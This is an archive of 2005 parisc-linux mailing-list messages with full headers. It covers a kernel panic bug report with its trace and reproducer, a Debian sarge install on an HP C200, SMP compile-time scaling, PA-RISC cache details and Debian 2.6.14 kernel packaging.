 [<00000000103bca34>] snd_pcm_oss_release+0x3c/0x240
 [<00000000101b93bc>] __fput+0xe4/0x310
 [<00000000101b966c>] fput+0x84/0x90
 [<00000000101b7438>] filp_close+0x90/0xd8
 [<00000000101b7558>] sys_close+0xd8/0x110
 [<0000000010107fa8>] syscall_exit+0x0/0x14


Kernel Fault: Code=3D15 regs=3D00000000fd560880 (Addr=3D000000000000b000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  0000000000000000 00000000000000aa 0000000000001e90 00000000ff9e600c
r04-07  0000000010600d00 0000000000009ed0 0000000000001803 0000000000008028
r08-11  00000000fd766828 00000000000007a4 00000000103b1a64 00000000ff9298e8
r12-15  00000000000007aa 00000000000007aa 000000001053f880 0000000000008028
r16-19  00000000105d5300 0000000000000000 00000000103b1d1c 000000002c64ef76
r20-23  0000000052fad5f8 00000000531540b4 000000003016512d 000000000000b000
r24-27  0000000000000d70 00000000ff9e713c 000000000000001f 0000000010600d00
r28-31  000000000000f480 0000000000009ed0 00000000fd560880 00000000ff9e600c
sr0-3   0000000000291000 0000000000000000 0000000000000000 00000000004c5800
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 000000000000000=
0
fr04-07  0000000010600d00 00000000fff95000 0000000000000020 fffffffffffffc1=
8
fr08-11  0000000000000000 0000000000000802 0000000000000000 0000000010600d0=
0
fr12-15  00000000fff95000 0000000014a8aac4 ffffffffffffffe8 0000000014a8aac=
0
fr16-19  0000000014a8aad0 0000000010600d00 0000000000000000 0000000010600d0=
0
fr20-23  000f000000000000 0000000000000802 0000000000000000 000000000000002=
0
fr24-27  0000000000000000 0000000000000802 00000000101b6d98 000000001065800=
0
fr28-31  00000000fff95000 0000000000000802 0000000000000000 00000000ff9b2bc=
0

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000102ef238 00000000102e=
f23c
 IIR: 0ee850b6    ISR: 0000000000000000  IOR: 000000000000b000
 CPU:        1   CR30: 00000000fd560000 CR31: 0000000080000000
 ORIG_R28: 0000000010600d00
 IAOQ[0]: pa_memcpy+0x88/0x2b0
 IAOQ[1]: pa_memcpy+0x8c/0x2b0
 RP(r2): 0x1e90
Kernel panic - not syncing: Kernel Fault

Simple testcase:

while :; do mpg123 foo.mp3; done

then hold down ctrl-C. You should be able to take down the box in a
few attempts like that...

--
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabio Bizzi <bizzi@albacom.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Sarge, Etch and my C200 (Was: Trying to install sarge on a C200)
Date: Wed, 26 Oct 2005 16:18:43 +0200
Organization: albacom.net
Lines: 31
Approved: news@gmane.org
Message-ID: <435F9043.7060709__16833.6599403576$1416623932$gmane$org@albacom.net>
References: <435523FA.7090904@albacom.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623932 16852 80.91.229.3 (22 Nov 2014 02:38:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:52 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Oct 2005 14:19:37 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx060) with SMTP; 26 Oct 2005 16:19:37 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 253992DF13; Wed, 26 Oct 2005 09:19:33 -0500 (CDT)
Old-Return-Path: <bizzi@albacom.net>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ns2.albacom.net (ns2.albacom.net [212.17.192.209])
	by murphy.debian.org (Postfix) with ESMTP id 5CCCC2DDC5
	for <debian-hppa@lists.debian.org>; Wed, 26 Oct 2005 09:19:25 -0500 (CDT)
Original-Received: from util.albacom.net (util.albacom.net [212.17.192.196])
	by ns2.albacom.net (8.12.11/8.12.11) with ESMTP id j9QEJHjt014439;
	Wed, 26 Oct 2005 16:19:17 +0200 (MEST)
Original-Received: from [10.254.239.111] ([10.254.239.111])
	by util.albacom.net (8.9.3/8.9.3) with ESMTP id QAA01513;
	Wed, 26 Oct 2005 16:12:24 +0200 (MET DST)
User-Agent: Mozilla Thunderbird 1.0.7-1.1.fc4 (X11/20050929)
X-Accept-Language: en-us, en
In-Reply-To: <435523FA.7090904@albacom.net>
X-Rc-Virus: 2005-08-24_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-4.8 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=3.0.3
Resent-Message-ID: <3yWKb.A.n5B.1B5XDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4915
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed, 26 Oct 2005 09:19:33 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: LvUtY/0HeSEkTr6WZHQhaXN1IGRvb0AQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23185

Fabio Bizzi wrote:
[...]
> I'll try again tomorrow evening with sarge netinst with the hope that 
> the filesystem will not be broken by the 2.6.8-2 kernel until I'll 
> install the 2.6.12-10 kernel.
> 
> After kernel swapping I'll try to do a full tasksel installation to see 
> if the new kernel does not complain.

Work done! :)
All worked fine, I've installed with sarge netinst CD, before reboot in 
shell I've installed the 2.6.12-10 32bit kernel and after the reboot 
I've done a base-config with a full tasksel selection and installation.

2.2 GB installed without scsi or fs troubles. :)

Thanks to Ryan Bradetich, Grant Grundler, Devid H. Barr and Kyle 
McMartin for their help, clues and patience!

Now My C200 Rocks!!! :)

Ciao.

	Fabio.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Measuring kernel compile times on smp system.
Date: Fri, 28 Oct 2005 10:08:19 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <43618813.9060804@tausq.org>
References: <1130389617.31977.16.camel@localhost.localdomain>
	<20051027201333.GA3107@netfall.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623932 16853 80.91.229.3 (22 Nov 2014 02:38:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andrew Sharp <andy@netfall.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Oct 2005 02:08:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 28 Oct 2005 04:08:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 582917D6C1;
	Thu, 27 Oct 2005 20:08:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04226-04; Thu, 27 Oct 2005 20:08:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 957E27D6C3;
	Thu, 27 Oct 2005 20:08:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 776357D6C0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Oct 2005 20:08:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04226-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Oct 2005 20:08:23 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id B08717D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Oct 2005 20:08:23 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1EVJf6-000191-1b; Fri, 28 Oct 2005 10:08:08 +0800
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050805)
X-Accept-Language: en-us, en
In-Reply-To: <20051027201333.GA3107@netfall.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: d+0TY2BieSEkcL6WZHQhaXN1IGRvb0CF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23186

> To really understand these numbers, you need three things: the amount
> of memory on the system, the L2 (and L3?) cache sizes,

http://en.wikipedia.org/wiki/PA-RISC

"An interesting aspect of the PA-RISC line is that most of its
generations have no Level 2 cache. Instead large Level 1 caches are
used, formerly as separate chips connected by a bus, now integrated
on-chip. Only the PA-7100LC and PA-7300LC had L2 caches."

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Measuring kernel compile times on smp system.
Date: Thu, 27 Oct 2005 21:55:23 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <1130468124.9453.17.camel@mulgrave>
References: <1130389617.31977.16.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623932 16856 80.91.229.3 (22 Nov 2014 02:38:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Oct 2005 02:55:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 28 Oct 2005 04:55:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 874EC7D6D4;
	Thu, 27 Oct 2005 20:55:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04418-07; Thu, 27 Oct 2005 20:55:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D02567D6E1;
	Thu, 27 Oct 2005 20:55:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1DD67D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Oct 2005 20:55:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04556-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Oct 2005 20:55:28 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 22C8C7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Oct 2005 20:55:28 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j9S2tPx11602; Thu, 27 Oct 2005 22:55:25 -0400
In-Reply-To: <1130389617.31977.16.camel@localhost.localdomain>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: f/YTY6hweSEkTb6WZHQhaXN1IGRvb0CD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23187

On Wed, 2005-10-26 at 23:06 -0600, Ryan Bradetich wrote:
> K460-smp(3):
> 	cold		44m36.961s	93m25.844s	35m37.427s
> 	warm		44m19.736s	93m9.127s	35m49.683s
> 
> K460-smp(4):
> 	cold		41m59.795s	114m6.654s	46m20.045s
> 	warm		41m39.792s	114m29.156s	46m6.385s

that's pretty bad 3->4 scaling.

Could you just check that you don't have irqbalanced running.  On a K or
D system, it would cause great inefficiencies in interrupt rethrowing.

Thanks,

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Measuring kernel compile times on smp system.
Date: Thu, 27 Oct 2005 21:19:10 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20051028031910.GB1612@parisc-linux.org>
References: <1130389617.31977.16.camel@localhost.localdomain>
	<20051027201333.GA3107@netfall.com> <43618813.9060804@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623932 16858 80.91.229.3 (22 Nov 2014 02:38:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Oct 2005 03:19:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 28 Oct 2005 05:19:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 123B87D6EE;
	Thu, 27 Oct 2005 21:19:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04785-06; Thu, 27 Oct 2005 21:19:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 38D5E7D6E7;
	Thu, 27 Oct 2005 21:19:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B22197D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Oct 2005 21:19:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04785-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Oct 2005 21:19:11 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 339787D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 27 Oct 2005 21:19:11 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id ACA5949400C; Thu, 27 Oct 2005 21:19:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <43618813.9060804@tausq.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4P0TY9QneSEkf76WZHQhaXN1IGRvb4Cu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23188

On Fri, Oct 28, 2005 at 10:08:19AM +0800, Randolph Chung wrote:
> > To really understand these numbers, you need three things: the amount
> > of memory on the system, the L2 (and L3?) cache sizes,
> 
> http://en.wikipedia.org/wiki/PA-RISC
> 
> "An interesting aspect of the PA-RISC line is that most of its
> generations have no Level 2 cache. Instead large Level 1 caches are
> used, formerly as separate chips connected by a bus, now integrated
> on-chip. Only the PA-7100LC and PA-7300LC had L2 caches."

Technically, PA-8800 and 8900 have an L2 cache.  However, it's completely
transparent to software.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Horms <horms@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.14 has been released,
	please all checks build and configs, we upload today :)
Date: Fri, 28 Oct 2005 17:34:06 +0900
Lines: 39
Approved: news@gmane.org
Message-ID: <20051028083312.GD11045__39367.2219165184$1416623933$gmane$org@debian.org>
References: <20051028052909.GA24788@localhost.localdomain>
	<20051028053740.GB24788@localhost.localdomain>
	<20051028080239.GE24155@mail.lowpingbastards.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623933 16859 80.91.229.3 (22 Nov 2014 02:38:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sven Luther <sven.luther@wanadoo.fr>,
 debian-kernel@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Oct 2005 08:34:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 28 Oct 2005 10:34:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 739F77D6D0;
	Fri, 28 Oct 2005 02:34:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06144-06; Fri, 28 Oct 2005 02:34:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26C9D7D6C1;
	Fri, 28 Oct 2005 02:34:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99D9D7D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Oct 2005 02:34:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05940-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Oct 2005 02:34:26 -0600 (MDT)
Original-Received: from koto.vergenet.net (koto.vergenet.net [210.128.90.7])
	by free.linux.hp.com (Postfix) with ESMTP id ED1E27D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 28 Oct 2005 02:34:25 -0600 (MDT)
Original-Received: by koto.vergenet.net (Postfix, from userid 7100)
	id B110D3402B; Fri, 28 Oct 2005 17:34:23 +0900 (JST)
Mail-Followup-To: Sven Luther <sven.luther@wanadoo.fr>,
	debian-kernel@lists.debian.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20051028080239.GE24155@mail.lowpingbastards.de>
X-Cluestick: seven
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zIcTY48CeSEka76WZHQhaXN1IGRvb4Cl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23189

On Fri, Oct 28, 2005 at 10:02:39AM +0200, Frederik Schueler wrote:
> Hello,
> 
> On Fri, Oct 28, 2005 at 07:37:40AM +0200, Sven Luther wrote:
> >  CONFIG_SCSI_SATA_INTEL_COMBINED=y has been added.
> >  Do you want to make this change [G]lobal, per-[A]rch, or per-[F]lavour? [GAF]
> 
> we could make this global, as other sata stuff is global too.
> 
> >  CONFIG_SCSI_QLA2XXX has been changed from 'n' to 'm'.
> >  Do you want to make this change [G]lobal, per-[A]rch, or per-[F]lavour? [GAF]
> 
> this should be made global, or the
> remove-references-to-removed-drivers.patch should be fixed to remove
> this (in the debian kernel useless) Kconfig option.

I think Svenl was playing with an unpatched tree, and these problems
went away. Well I'm certain that the second one did.

He and I tagged 2.6.14-1 and are planning to upload to unstable
powerpc and i386 rsn. I guess there will be a second upload
in the not to distant future, as some FTBFS bugs are solved.

For now souces are in
http://packages.vergenet.net/testing/linux-2.6-2.6.14/
These may change if the i386 build fails, though that
seems unlikely at this point.

Also, can someone look into HPPA, or point me at which patch to use?
http://packages.vergenet.net/testing/linux-2.6-2.6.14/linux-2.6_2.6.14-1-hppa.log.gz

-- 
Horms
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14 has been released,
Date: Fri, 28 Oct 2005 16:22:21 +0200
Lines: 35
Approved: news@gmane.org
